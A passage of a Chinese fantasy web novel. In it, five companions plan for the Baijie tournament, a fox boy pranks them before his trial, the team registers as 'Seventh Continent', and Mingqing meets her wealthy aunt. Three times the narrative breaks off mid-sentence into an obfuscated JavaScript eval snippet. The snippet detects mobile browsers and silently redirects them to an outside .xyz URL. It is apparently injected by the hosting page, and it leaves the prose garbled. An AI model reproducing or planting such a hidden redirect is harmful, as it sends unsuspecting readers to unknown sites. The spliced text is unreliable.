云修泽话锋一转,敲敲桌子,将几个人的视线重新聚在他的身上。 “大比的赛制,可以让我们提前淘汰他们,在最开始的单人比中,我们可以选择挑中一支队伍,接连上场,哪一方先败两局,哪一方就直接退赛。” 明青皱眉:“你要挑他们?” 唐思月一只手放在嘴边,想了想,摇头说道。 “太冒险了。” 云修泽十指交叉,面上一片严肃。 “我清楚,但这已经是我深思熟虑后的结果了,我找灵儿问了一下历届的大比,四族之间,在赛初都不会找上彼此,这是约定俗成的,可除了其他三族,根本没有其他妖族可以和他们抗衡,人族这边,我们很难预料,所以,如果我们不想在最后遇上成群的爻池仙,被困进多重幻境,并且向外界暴露自己的弱点的话,我们就必须冒这个险。” 他说的的确很有道理,几人虽然都还有各自的忧虑,但也没有再出言反驳。 云修泽见几人都没再说话,于是点了点头。 “到时候,思月。” 云修泽看向唐思月。 “你第一个上,你的琴音对很多障术都起作用,可以说,他们的幻境在我们之中对你的削弱程度是最小的,而且他们自己不会出现在幻境中进行攻击,所以你相对也比较安全,在和爻池仙的对决中,一直都默认,只要你能破除幻境,比赛就能获得胜利,所以,我把第一局交给你。” 他认真地问道。 “你可以吗?” 唐思月呼吸紧了紧,随即目光坚定的点头。 “我可以。” 云修泽笑了笑,又继续说道。 “我第二个上,为了防止我和思月出现一胜一负的情况,你们三人中还要有一个做好对战的准备。” 他的眼神在三人身上转了转,最后出乎意料的选择了云修云。 “青玉心思单纯,我了解他绝大部分的事情,爻池仙的幻境是以恐惧为支点,青玉也许更合适,至于明青和行大哥,我并不是很清楚,你们觉得怎么样?” 行愿摇头,明青沉思片刻后也表示了同意。 几人将四大妖族聊了一下,之后云修泽又简单介绍了一下其他可能会对他们构成威胁的妖族,一直从中午讲到了日暮时分。 “你们在说什么呢?” 门外传来灵儿的声音,几人寻声望去,就见灵儿顶着一张亮闪闪的脸走了进来。 云修云嘴都张大了,几人被惊的无言以对,明青欲言又止,最终还是忍不住试探着问道。 “你......你在试新的妆容?” “嗯?” 灵儿狐疑的摸了摸自己的脸,放下手来一看,指尖上都沾满了迷蝶的闪粉,这东西相当难清洗! 那个臭小子!!! 灵儿咬牙切齿的暗骂,一句话没和他们说,扭头就出去抓妖了,徒留这一屋子的人面面相觑。 正如之前所言,两姐弟用一种诡异而和谐的方式相处了一段时间,但自从秉唯的身体可以自由的跑跳,他就开始对他的姐姐进行‘亲密的试探’。 反正他自己是这么说的,但实际上就是恶作剧。 包括但不限于,将闪粉混进灵儿的面巾中、在灵儿沐浴时偷偷拿走她准备好的衣物、改善一下她每日吃食的口味等等。 他并未因为之前灵儿的酷刑而抱有什么怨言,而是以一种能气到她,但是并不过火的方式进行试探。 至少强而有力的向灵儿证明了他逃命的能力非常之强。 看在明青的面子上,灵儿不再像之前一样对他下狠手,所以每次想要抓住他给点儿教训,也变得相当不容易,稍一不注意,就能被他溜走。 曾有一次,两姐弟前脚接后脚的来找明青告状。 灵儿楚楚可怜,控诉他过于‘调皮’,总是弄得自己烦心不止,还赔进去了几件十分喜爱的衣裙,每每抓住他,想要跟他好好的‘交谈’,他就变着法儿的逃走,根本不想和她好好相处。 秉唯委屈巴巴,十分‘不小心’的露出了胳膊上一道被灵儿气急了打出的伤痕,说姐姐对他过于冷淡,他想要亲近姐姐,却似乎总惹得姐姐生气。 最后的结果,就是两妖都被口头教育了一番,哪个都没服气。 云修泽本来还在看乐子,直到这个乐子给他也捎带了一份儿。 当云修泽又一次吃到了一块儿口味奇怪的点心后,终于忍不住提着褚闲去找秉唯算账了。 想要抓住秉唯的确要费一番功夫,他也一直没有用全力,而是将灵力一层一层的叠加,想要看看自己究竟要用多少力气,才能抓住这个难缠的小妖怪。 云修泽在树下抬头,秉唯蹲在高高的树枝上哈哈笑着,冲他做着不同的鬼脸,哪有平时在明青面前那种小可怜的样子,分明又回到了云修泽第一次见他时,那种敢于戏耍他人,还满不在乎的小流氓的模样。 其实这样更好,很有活力。 哈啊,好好好,别的不重要了,这个一定要搞清楚。 云修泽单手叉腰叹了口气,脚下一个蓄力,直接飞身上去,秉唯的鬼脸还没从他的脸上消失,就猝不及防被五花大绑了起来。 笑容转移到云修泽脸上,他好整以暇的看着被绑在树上的秉唯,拍了拍手上的土。 小狐狸崽子,游戏时间结束了。 秉唯满脸不服气,还在不断挣扎着,云修泽抱着手臂看着他,奇怪道。 “按理说,我也救了你,你怎么这么讨厌我?” 秉唯抬起脸看他,哼了一声,扭头说道。 “那又如何,你还想过要杀我呢。” 云修泽好笑:“就因为这个?小妖怪不仅身体小,心眼儿也挺小。” 秉唯一下子把脑袋转过来了,愤慨的盯着他,怒道。 “还有这个!!!我有名字了!!!不要叫我小妖怪,我叫秉唯!!!!” 云修泽没想到他这么在乎这个,摸着下巴思考了一会儿,还是一脸的正气凛然的喊道。 “小、妖、怪!哈哈哈哈!!!” “啊啊啊啊!!!我讨厌你!!!!” 秉唯简直要气疯了,可这绳子却越挣扎捆得越紧,根本动不了一点。 云修泽抱着点儿观赏的心态,从玉佩里随意掏出了一盘点心,一口咬下去却整个人僵在原地,将口中的点心艰难的咽下,然后就默不作声的,将剩下的点心又收了回去。 秉唯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022242|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见此一幕,登时又嚣张起来。 “哈哈哈哈哈哈哈!!!你大意了!你个蠢货!哈哈哈哈!!!” 云修泽本来还有些气闷,但见他这活力满满的样子,又露出了点儿欣慰的表情。 这一路上,他虽然暗自嫌弃他,但都没有怎么表现出来,直到来了这里,知道自己有用处后,才像是有了些底气,展现出本来的性格。 云修泽面上一派轻松,也不管被五花大绑捆在树上的秉唯,扭头就哼着曲儿,自己溜溜达达的走了,留下秉唯自己一个人苦苦挣扎。 之后的一段时间里,秉唯的恶作剧再次上了一个高度,变着花的折腾云修泽,几乎将精力全都放在了他的身上,灵儿因此逃过一劫,常常用混杂着感激、幸灾乐祸和同情的眼神看着他。 云修泽不得不和他斗智斗勇,他有心想要学灵儿去明青那里告上一状,可秉唯也学聪明了,做事根本不留痕迹。 一盘点心,大家一起吃,偏偏只有云修泽能吃到最难吃的那一块儿,其他人吃到的,就是再普通不过的点心,这常常让云修泽觉得有口难言。 有时候好不容易抓住点尾巴去找明青,秉唯又低着头,一副我是被冤枉的,但是我不说,我懂事,我不让姐姐为难的模样。 这样一来,结果一般对云修泽都不会太友好,他很难受,他这辈子吃过的闷亏加起来,都没有在这个小妖怪身上吃到的多。 明青常常觉得好笑,其实她不是不知道秉唯做的那些事,她也大概清楚,但看着云修泽如此吃瘪,也觉得十分有意思,忍不住想要再多逗逗他。 又过了一周左右,秉唯的伤就算是大好了。 这一日,秉唯本来在和五人吃饭,灵儿却突然走了进来,表示时辰已经到了,她要带秉唯去族中圣地进行试炼。 唐思月给秉唯塞了一堆伤药,就算对妖不起作用,但他还有另一半血脉来自人族,或多或少也应该能帮到他。 云修云和行愿都各自在他的肩膀拍了拍,明青将他拉过去,她不知道白女狐族的试炼有什么,所以将自己知道的一些对敌的技巧,尽可能的告诉了他。 云修泽没有说话,秉唯本来也并不打算理他,可跟着灵儿往外走了几步,又忍不住一脸别扭的转头要来找他。 眼睛转了一圈,却发现刚刚还坐在这里的人已经消失不见,阴影投下,他抬头的动作还没做完,就被一个手刀敲在了脑袋上。 “嗷!”秉唯捂着脑袋。 云修泽满脸戏谑:“小妖怪,跟哥哥说永别吧,你这么弱,应该是出不来了。” 秉唯这个时候了,还不忘维持自己平时在明青面前的样子,挑了一个她看不到的角度,怒瞪了云修泽一眼。 “你等着瞧!等我出来,第一件事儿就是要找你打一架!” 云修泽:“哼哼,那我看这个架应该是打不了了。” 秉唯小声放狠话。 “我一定打的你满地找牙!” 说完,他怒气满满的扭头就走了,云修泽看着他愤愤的背影默默点头。 好吧,小妖怪,等着看,咱们两个到底谁打谁。 秉唯跟着灵儿来到了一处雪山,两只妖停在了雪山脚下。 狂风卷着雪花吹在两人身上,秉唯不禁被冻了一个机灵,双手放到嘴边不断哈气,试图让自己变得温暖一些。 灵儿扔给他一件大氅,他有些意外的裹到身上,发现尺寸竟然正合适,他舒服的眯了眯眼睛,身上马上就暖和了许多。 “进去吧。”灵儿说。 她转过头来,眼神中充满了复杂,她希望他死在这里,又有一些希望他活着出来,无论是作为姐姐,还是作为族长,她无法自己决定,就将仇恨交给圣地中的先祖裁决吧,她接受任何一种结果。 秉唯不太熟练的冲她露出了一个带着真心的笑容。 “我可以叫你姐姐吗?” 灵儿有些惊讶,皱着眉,衣袖下的手收紧又松开,过了半晌才干巴巴的说道。 “如果你能出来的话。” 秉唯点头,裹紧了衣服,顶着风雪一步步向深山走去,没有停顿,也没有回头。 灵儿站在那里目送着他的背影,直到他的身影彻底被风雪掩埋,才垂下眼,走向了与他截然相反的方向。 秉唯进入试炼,离白界大比的时间也已经很近了,他离开没有几天,一行人就收拾行李,跟着灵儿一起上路。 明青:“他不是在试炼吗?你直接离开没关系吗?” 灵儿给她倒了杯茶。 “没关系的,试炼的时间一般很长,等到你们比完赛离开,他恐怕都不会从里面出来。” 云修云嘴里咬着点心,有些诧异的道。 “那上一次岂不是我们的最后一面?” 灵儿不甚在意的笑道:“是的。” 她转头去安抚明青:“没关系的,姐姐,只要有缘,你们总会再见的,就像我们两个一样。” 明青倒是很平静的接受了,只要活在世上,这些事情就无可避免,有些时候,能够相识,就已经是一件幸事了。 33. 协济九 白界大比三年一次,是由人妖两族签订契约共同举办的。 自从妖族被圈进了佘渊,两族下一代子弟的成长就少了许多危险,但同样也缺少磨砺,为了避免时日一久,让他们不进反退,也同样为了丰富他们阅历,四族和昆天谷就分别代表双方定下了这个大比。 除了一些有师门和家族的子弟会来参加之外,同样会有一些散修组队前来,这次云修泽几人用的就是散修身份。 大比的场地巨石嶙峋,无比宽广,擂台就有数十个,旁边围有层层高台供给看客使用。 赛制也相对简洁,最开始是单人比,可以指定一支队伍分别进行切磋,哪一方先输两轮,那一方就彻底退赛。 若不进行指定,便会进行抽签,随机抽取对手。 然后是双人赛,对手无法指定,全程由抽签决定,不吝如何组合,每支队伍必须打满五场,获得三场胜利才能继续参加剩下的比试。 最后就是团战了,一共会有十支队伍,一共打四轮,第一轮过后剩五支;第二轮一支队伍轮空,剩三支;第三轮同样一支队伍轮空,剩两支;最后一轮便是决战。 五人以白女狐族的身份跟着灵儿来到了白界,四族在白界都有各自的领地,灵儿本想继续邀请明青去她那里居住,却被明青婉拒。 “我们以人族的身份参加大比,住在你那里不合适,等我们找到地方安顿下来,我会给你递个消息,你随时来,或者我们大比上见。” 灵儿有些可惜的说道。 “那看来我只能私下里去找你玩儿了。” 明青疑惑:“为什么?” 灵儿瘪瘪嘴:“我现在是族长了,不可能亲自下场去跟别族的少主一代打,不然平白就降了我族身份。” “原来如此。”明青点头,“既然这样,随时欢迎你来。” 灵儿摇摇她的手,撒娇的嗯了一声,三步一回首的离开了。 几人都恢复了人族的样貌,白女狐的装扮纵然美艳,可不得不承认的是,两个姑娘还是原本的模样最衬她们。 此时的白界,三教九流什么人都有,为了避免麻烦,明青和唐思月又重新带上了面纱。 几人找到一处茶楼叙话,云修云还是不太适应街上随处可见的妖族,猝不及防见到多了对耳朵,多了条尾巴的,总是会被稍微惊一下才能反应过来自己究竟在哪儿。 云修泽抬手叫来了一壶茶和一些点心,捏起一块儿放进嘴里,从未觉得自己吃东西吃的如此放心过,小妖怪不在身边也是有好处的。 “大比于三日后正式开始,我们必须在明日前去被临时征用的静安堂,进行报名登记。” 云修云:“那我们现在去?” “嗯......”云修泽想了想。 “我们分头行动,我和青玉去登记,你们三个去找落脚的地方。” 唐思月:“那我们怎么联系?” 她可不想再用一次上回的方法了。 云修泽哈哈一笑。 “对你不住,上回是我疏忽了,忘了问你的传音令。” 他们几个总在一处,少有分开的时候,传音令用不上,竟然到现在还没有彼此知晓。 唐思月摇了摇头。 “我的灵力不足以支撑远距离传音,你记住明青和行愿的就行。” 云修泽眨眨眼,扭头看向云修云,云修云抿着嘴没说话,看来是早就问过了。 云修泽只能操心的叮嘱。 “好我知道了,不过你日后无论发生什么情况,都最少保证我们中有一个能在你身边。” 唐思月点头应下,云修泽将杯中的茶饮尽,和行愿交换了传音令,却并未问明青要,她的传音令,云修泽早已熟记。 唐思月嘴角的笑容略微加深,决定善良一点,不去惹他们红脸。 见他这就要走,云修云连忙将塞在嘴里的点心就着茶水吞下,仓促的擦了擦嘴,离开前还不忘向三人道别。 看着这一桌还没吃完的点心,明青和唐思月对视一眼,默契的决定吃完再走。 行愿对她们的决定没有丝毫意见,只是他不喜甜食,所以更多的时候是在照顾两个姑娘,很少去动桌子上的东西。 为了应对三年一次的大比,白界中酒楼众多,可三人连找了几家,竟都没有足够的空房,于是干脆放弃了附近的一些小酒楼,直接奔最大的方若阁去。 可能是因为处在人妖共存的地界中,方若阁的主楼风格可以说是两极分化,一半是金碧辉煌,一般是清幽静雅,关键是他们似乎并没有打算尽可能的让两种风格糅杂,变得好看、和谐一些,而是十分突兀的将楼体一分为二,十分的泾渭分明。 三人刚刚来到这里时,都忍不住迟疑了一下,怀疑自己的眼睛是不是看错了,唐思月不禁想,若是云修云在这儿,又指不定能将这楼说成什么样子。 他们走进去,那掌柜的虽然没有露出什么非人的特征,但给人的感觉就应该是只□□精。 果不其然,等他一张嘴就露出了长长的舌头。 “客人,您看看您,吃饭?还是住店?” 明青走上前,推了些银子过去。 “五间上房。” 那掌柜的一眨眼,瞳孔霎时间就变成了横向,飞快的翻了一遍手中的册子,他一张嘴,明青差点怀疑他就要出声呱呱叫了,不禁因为自己离谱的想法挑了挑眉。 “抱歉了客人,上房只剩三间,下房倒是还多,您要与不要?” 行愿低头:“我住下房。” 唐思月抿抿嘴,明显有些不太高兴。 明青也不太愿意,正当她想要再次交涉时,一个轻佻的声音却从楼上传来。 “两位美人儿,何必如此苦苦纠结?不如让我来帮帮你们。” 三人抬头望去,就见一个身着宝蓝色衣袍的男子半倚在栏杆上,懒散的笑着,眼睛却一瞬不瞬的盯着明青和唐思月。 其实三人进来时就已经吸引了众多视线,这少爷从未遇到过如此极品的美人儿,还一见就见了两个,顿时就觉得心痒难耐。 只见他摇着折扇,故作姿态,一步一顿的从楼梯上走下来。 “我这里有十间上房,若两位美人愿意从了我,不止房间任你们挑选,之后更是你们想要什么,我便给你们什么,绝无二话,如何啊?” 他摇折扇的样子让唐思月想起了一位熟人,不由得在心中感叹,同样是风流公子的做派,同样在摇折扇,给人的感觉却可是说是天差地别,比起来,这个简直就像个小混混。 他走到近前,合起折扇,做势就要去挑明青的下巴。 明青眼神一冷,正欲去折他的手腕,却突然被一个高大的背影挡在了身前。 行愿不知何时已经长刀出鞘,挡在两人身前,严肃的眼神中透露着警告。 那少爷没想到半路还冒出来个拦路虎,不爽的嗤笑道。 “你小子,护花使者哈?也不看看你有没有那个本事!” 说着,他脸一冷,手中的折扇就旋转着向行愿甩去。 行愿将折扇别开,见他近身,便双手呈鹰爪状抓住了他的手腕。 “去外面打。”唐思月在后面平静的说道。 收到指令,行愿就放弃了近身搏斗,转而一个用力将他甩出了门外。 那少爷也算不上草包,在街上滚了一圈后便稳住了身形,行愿立马就追了上去。 方若阁里有一部分看客也跟着移步到了外面,唐思月回头,见那个□□掌柜八风不动的保持着他奇怪的笑容,也客气的跟他点了点头,抓着明青说道。 “走,我们去外面看。” 明青一边走一边问:“行愿大哥没关系吗?” 她从来都是自己解决问题,很少能体会到被保护的感觉,现在不一样了,上一次是云修泽,这一次是行愿,都是她可以依靠的同伴。 唐思月笑了笑。 “他没问题,若这点本事都没有,又如何能护我这么多年。” 明青总觉得哪里有些奇怪,但又说不上来。 两人来到外面,如同路人一样,事不关己的在旁边淡定的围观。 能来到这里的人,至少都是有两把刷子的,行愿解决这个少爷花费的时间,比之前在清秋道要多上许多,但还是很顺利的解决了。 周围的看客有人有妖,有几个看热闹不嫌事大的还会往中间扔些铜钱,吵嚷着让他们再打一次。 那少爷觉得丢面子,脸色铁青的将地上的铜钱震飞,头也不回的钻进了酒楼里。 唐思月双眼一转,和明青互相看看,眼中闪过了相似的狡黠。 你说,这打都打了,还能没点儿彩头吗,今日不讹他两间上房,如何对得起行愿出的力气。 且不说说他们这边出了状况,大云小云那边也不是很顺利。 两个时辰前,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029437|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人来到静安堂想要进行登记,却发现这里人山妖海,竟排起了长队。 登记分为妖族和人族,分别由一人一妖负责,两边互不干涉,各排各的。 看妖怪乖乖排队还是怪有意思的,但人族这边的队伍长的让云修云只想仰天长叹。 无法,他们也只能乖乖的跟着排队。 不知为何,这队伍行进的非常缓慢,每隔一些人,就会有在登记处停留很长时间的。 两人硬生生排了一个时辰才轮到,进行挂牌登记的竟是个小沙弥,满脸疲惫的样子,跟身后忙碌的人比起来,很显然就是被抓来顶包的。 他伸手在虚空一抓,一个红头木牌凭空出现在他的手中,他双眼无神地将木牌递过来。 “队长指尖血。” 大云小云动作神似的眨了眨眼,又互相看了看,云修云露出了好笑的表情。 “请吧,他们又不在这儿,没得商量了,我可受不了再排一个时辰了。” 没跟剩下的三人商量队长是谁就擅自决定了,云修泽心里觉得有些过意不去,但转念一想,刚要的传音令还热乎着呢,当即就问了过去。 两边都无暇多说,三言两语就把队长定给了云修泽。 于是他用灵力在指尖微微一刺,血珠便滚了下去,落到了木牌上。 木牌短暂的发出一阵红光后就变回了原来的样子,看上去没什么区别,但云修泽能感觉到上面的‘气’隐隐和他相连。 小沙弥眼睛一睁一合,像是困极了的模样,他举着一支朱笔,悬停在木牌的上方,打了个哈欠,问道。 “队伍名字。” 俩人这下真的算是有点懵逼了,谁都没跟他们提过还要给队伍取名字的事情,怪不得之前有人在这里耽误那么久,看来都是临时想名字的。 一时之间,两个人也想不出什么好名字,你说一个,我说一个,最终还是被全盘否定。 云修云这几日练功练的太过,身体本就有些疲惫,又在这里排了一个时辰的长队,心中忍不住有些烦躁,微皱着眉,摆摆手不耐的抱怨道。 “不就是个比武切磋吗,还非得整这些花里胡哨的,起个好听的名字就能大杀四方吗,干就完了!” 小沙弥已经困到点头了,模模糊糊中听到那一句‘干就完了’,想也没多想,当即提笔就要往牌子上写去。 云修泽瞥到他的动作,难得露出了点儿惊慌的表情,云修云也马上反应过来,伸长了手要去阻止他,一切就像是慢动作一般,笔尖眼见着已经缓缓挨到了木牌。 云修云一下子被吓清醒了,惊恐道。 “不——要——啊!!!!!!” * “所以我们是,干就完了队?” 唐思月神情呆滞的问。 明青的嘴角抽搐,行愿捂住了自己唯一露出来的眼睛。 三人的表情都很精彩。 “哈哈哈哈哈哈!!!!!笑死我了!!!!”云修云看的乐不可支,一只手不住的捶着桌子。 云修泽也忍不住勾起了嘴角。 “谢天谢地,我们阻止成功了。” 三人都肉眼可见的松了一口气,明青的心一下子落到了实处,说实话,让她接受那么一个......‘有个性’的队伍名字,还是有些困难。 “所以你们最后起的什么名字?” 云修云立马扬了扬眉,表情带着点儿小得意,和云修泽异口同声道。 “第七洲!” 唐思月喝了口茶压了压惊,这个名字他们可以接受。 “这有什么说法吗?” 云修泽:“我们现在所做的一切都是在追逐镜双子,而镜双子的盛名晓喻六洲,论单打独斗,可以说是阅尽敌手,而既然我们的目标是他们,那不如就跳出六洲之外,成为能与他们分庭抗礼的,第七洲!” 唐思月哦了一声表示赞叹,明青也觉得不错,镜双子强大的根本印象已经刻在了六洲之中,若想成为他们真正的对手,就必须以全新的方式去看待他们,第七洲...第七洲...... “这个名字很好。”明青看着云修泽,赞同的点了点头。 行愿也嗯了一声表示同意。 经过全员认可,他们便在这时正式确认了队伍的名字。 自此,世上六洲双海,他们五人要为世人心中刻下新的名字,如同镜双子一样,成为无人不晓的,第七洲! 34. 协济十 “所以。”云修泽有些困惑的歪了歪头。 “我们现在这是在哪儿?” 几人所处的位置是一座风格典雅,名作绕香的水榭。 兄弟二人从静安堂出来后,就联系了明青,明青告知了他们位置,他们顺着找过来,发现竟不是酒楼,而是一个十分精美的园子。 这里修建的十分低调,但用料名贵,就连里面摆放的物件儿,也没有一件赝品,女使小厮众多,但看上去并不是修法之人的家仆,更像是来自普通的富贵人家。 此时天色渐晚,风中带了些寒意,明青穿着一件胡袖水蓝的素袍,以简单舒适为主,并不拘于是否适于会见外客,只是有些单薄。 她抬手招来了一个女使,给自己和唐思月要了两条披肩。 月白色的披肩衬得她有了几分柔和,旁边的唐思月裹上披肩后,略显苍白的脸色也好转了一些。 明青往杯中到了热茶,白雾浅淡,她开口解释道。 “我和思月本是打算去找那少爷商议,能否挪用两间上房,可谁知却被一个小厮拦了下来,请我们去见他家主人。” * “你家主人是谁?”明青问。 这小厮的穿着也并不似其他小厮一般简朴,深蓝色的衣物,样式虽然简单,但用料却比一些小门小户的少爷小姐还要好上一些。 那小厮带着恰到好处的笑容,听到明青问话,就连忙给她递了一串儿红色的串珠,那串珠很是奇特,明明通透如玉,光照上去,却如同被吞了一般,看不出一点光亮。 “主人交代给您看看这个,说您自然能明白。” 明青拿过手串,神情微变,看上去竟有些喜意。 “走,我们过去。”明青明显认得这串珠,她拿在手里,也并未还给小厮,只是让他带路,自己带着唐思月和行愿跟在后面。 几人没走多久就来到了一个小巷里,这里停着一辆由雪梨木制成的马车,连拉车的马儿都被装扮的十分好看。 三人来到窗子前,一只肤若凝脂的手就出现,掀开了帘子。 马车内的女子眉间画着花钿,妆容精致,珠钗琳琅。 唐思月总觉得这个女子的眉目有些面熟,不动声色的打量了一会儿才骤然反应过来,这份面熟来自于明青。 果不其然,她听明青喊道。 “姑姑安好。” 马车内的女子用圆扇遮住下半张脸,双眼含笑。 “你这丫头,真不是个省心的,罢了,你先上来,我有几句话要问你。” 说完,她又看向唐思月和行愿。 “劳两位稍等片刻,我与我这侄女说两句体己话。” 唐思月微微一笑,轻轻伏身行了个礼。 “不敢,小女唐思月,这是我的护卫,名为行愿,明姑姑不必顾虑我等,还请自便。” 女子冲她一笑,点了点头,随即就将帘子放下了。 明青对唐思月说道:“这是我姑姑明水心,你稍待片刻,马上就好。” 唐思月轻拍她的手臂:“没事儿的,你快进去吧,别让你姑姑等你。” 明青点头,翻身上了马车,将手中的珠串递给她,她就接过去不紧不慢的绕在了手腕上。 这是她的贴身物,常年戴着,明青自然认得。 “姑姑,你怎么在这儿?” 明水心拿扇子敲了敲她的头,无奈的说。 “这话应该我来问你吧,我这次来是带着小辈出来的,他们虽不算修法之人,但也有些本事在身上,主要是为了来长长眼界,你呢?留下一封信就敢离家出走,现在竟然还敢来这里,你可知这里有多危险吗?让你母亲知道了,必定又要急出病来。” 明青略微有些愧疚,但如果让她再选一次,她也一定会再次选择离开。 “母亲她,怎么样了?” 明水心叹息一声。 “你也知道你哥哥至今下落不明,你又在这里效仿你哥哥,留下封信就离开,依你母亲的性子,你觉得她能好吗?” 明青紧抿着双唇,她母亲的性子简直就不像是出生在那种地方的女子,柔软到了极致,胆子也很小,总是忧思过甚,自从哥哥离开后,她的身子就不像从前那般好了,但近些年调养得当,倒是又养回来了些,不然,她也不敢这么任性离开。 “母亲又病倒了吗?” 明水心也有些无奈的揉了揉额角。 “何止啊,你母亲缠绵病榻,但一日总要去三四回供堂,雷打不动的去查看你们兄妹二人的命灯,若是哪个稍微有些波动,她就难以接受,整日将自己关在屋子里落泪。” 明青听闻,忍不住有些揪心。 “那父亲可又为母亲延请名医了?他们怎么说?” 明水心:“什么老什子名医,左右不过是汤汤水水的灌下去,效果大差不差,这是心病,还需心药医,若你们哪个能长长久久的陪在她身边,才是真的好呢。” 明青如何不知道呢,但寻找兄长这件事,她是非做不可。 明青似乎突然想起了什么,眼神中闪过一丝挣扎,没过多久,就又恢复了平常的样子。 原谅女儿不孝,待到事情了结,必然会寸步不离的陪在您的身边。 她还沉浸在自己的思绪里,就被明水心的声音拉了回来。 她轻摇着团扇,问道。 “外面那个姓唐的小姑娘是哪家的?” 明青不知道她为什么突然问起唐思月,但还是如实回答道。 “是衢州行医的唐家,他们家同样修法。” 明水心想了一会儿。 “嗯......原来是他们家,唐家在衢州小有名气,但我听闻他们家不知被谁寻仇,已经全都不在了,不然我本来还想去请唐家的人给你母亲看看的,她是如何?” 明青:“机缘巧合。” 见明水心点头,明青略感奇怪的问道。 “姑姑问她做什么?” 明水心笑了笑。 “没什么,刚刚看那孩子的见礼,像是我们那边大户人家出来的,有些好奇罢了,对了,这孩子可信吗?” 明青:“可信,我们一共五个人,是要参加这次大比,另外两个去登记了。” 听她这么说,明水心就又撩开了帘子,十分和气的将外面候着的唐思月叫了进来。 行愿上前为唐思月撩开了马车的帘子,扶着她上去后,自己就接过旁边一个小厮递来的马绳,牵着马等在那里。 明水心笑着问道。 “思月是吧?你不用拘束,和青儿一般唤我姑姑就是。” 唐思月平时对着其他四人并不如何拘礼,相处的很是随性,可如今见了明水心,就不自觉的摆正了仪态,整个人落落大方,言行举止都十分得体,若说两人谁是明水心的侄女,那她比明青这个常年在外的真侄女,还要像上几分。 明水心本人其实更喜欢泼辣些、善于交际的姑娘,但见了唐思月,也是十分喜爱,不由得就拿出了对待子侄的态度。 “我恰巧路过这里,看到了你们刚才闹的那一出,你们这是在干什么?” 唐思月:“回姑姑,我们想订些房间,遇上那不知是谁家的少爷,出言轻佻,更是想对明青上手,于是才闹了这么一通。” 明水心听闻,双眉挑起,面上露出一丝不悦。 “如此,这事你们不必再管了,我会差人善后的。” 唐思月看向明青,明青冲她点头,于是她也不再说什么。 明水心:“你们可订到房间了?” 明青:“还未。” 明水心左手靠着软枕。 “既然我在这儿,就断没有让你们住酒楼的道理,我在这里有一座园子,叫沁园,大的很,我带来的孩子们住的靠外些,你和你朋友就住到内院来吧。” 唐思月微张着嘴,看上去有些吃惊,这得是何等的财大气粗,才能连白界这种地方,都有一座私人的园子。 住在自己姑姑那里肯定要比住在酒楼里要好上许多,明青没有犹豫,直接就应了下来。 明水心笑了笑。 “那这便走吧。” “姑姑稍等。”明青掀开帘子叫来了一个跟车的小厮,给了他一块儿印着狐狸眼睛的令牌,吩咐道。 “令牌会给你指路,去那里将沁园的位置告诉主人家,然后将我们放在那里的马车和马儿都带回来。” 小厮应下,转身离开。 明水心见她似乎并没有要和自己解释的打算,也没有多问,孩子长大了,很多事情他们做家长的不需要知道的那么清楚,大不了等小厮回来,晚上叫去问一问就是。 见两人都没有别的事了,明水心就下令起步,车撵载着几人缓缓离开了。 * “那这就是你姑姑家?你姑姑好有钱啊!”云修云惊叹。 “沁园?”云修泽小声念着,他们刚才是从偏门直接过来的,并没有看见这个园子的名字。 “是水心沁吗?” 明青看他一眼,微微颔首:“对,是这个沁,是用我姑姑的名字命名的。” 云修泽轻轻转动着茶杯,语气有些奇怪。 “白界这个地方十分特殊,虽然会有人族往来,但大多都住酒楼,顶多就是不知名的小院,这里属于人族的、被命名的宅邸,只有那么几个,而叫沁园的,我记得......” 他一瞬不瞬的看着明青,手指在桌子上轻轻敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她看上去只有三十出头,一袭淡金色的拖地长裙,步摇随着她的步伐轻轻晃动,腰间带着璎珞,项圈戴玉,月石手镯泛着柔和的光,指甲也被精心染成了豆蔻色,仪态万千。 那女子表情温和,整个人都散发着那种将周围的事情全盘掌控的自信,这是久居上位者才会有的气质。 她将女使留在了外面,自己一个人走进了水榭,等她坐下,五人就恭敬的向她行了个晚辈礼。 明青回话:“姑姑,都已说完了。” 明水心抬手示意他们免礼,等他们重新坐下后,就笑着开口道。 “我听青儿说你们感情不错,就都叫我姑姑吧,这些日子且安心住下,有什么需要的,自管差人买来。” 云修泽带着云修云起身,一起道。 “明姑姑。” 明水心笑着点头:“你们两个姓云?不知是哪家的青年才俊?” 她虽这么问,但手眼通天如通神阁,想要查到他们的来处,并不算很难,此话说来,应该也有试探的意味,不如直接坦言,搏个好印象。 云修泽笑着拱手。 “隐世云家云修泽,携幼弟云修云,问明大人安。” 云修云也随他躬身行礼。 明水心果不其然露出了满意的笑容。 “原来两位是云家大族的公子,怪不得如此出众,请坐。” 等他们坐下,唐思月也带着行愿站了起来,将面纱摘下,算是正式见礼。 “思月见过姑姑。” 行愿似乎不大适应这种场面,迟疑的拱手喊道。 “......姑姑。” 明水心完全被唐思月吸引了视线,她走南闯北,遍阅美人,有她七分风采者都少之又少,就算是她从小看着长大的明青,也是比之不及。 等她回过神来,就赞道。 